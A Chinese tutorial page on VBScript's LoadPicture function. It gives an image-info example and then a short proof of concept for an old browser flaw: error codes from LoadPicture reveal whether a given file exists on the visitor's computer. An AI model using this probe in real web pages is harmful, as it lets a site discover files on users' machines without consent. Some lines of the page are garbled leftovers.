vbs中的LoadPicture函数示例
示例:
LoadPicture函数
选择图片
Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "
"
document.write "
"
document.write "
"
End Sub
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例:
Sub loadIt(filename)
LoadPicture(filename)
End Sub
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
[Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]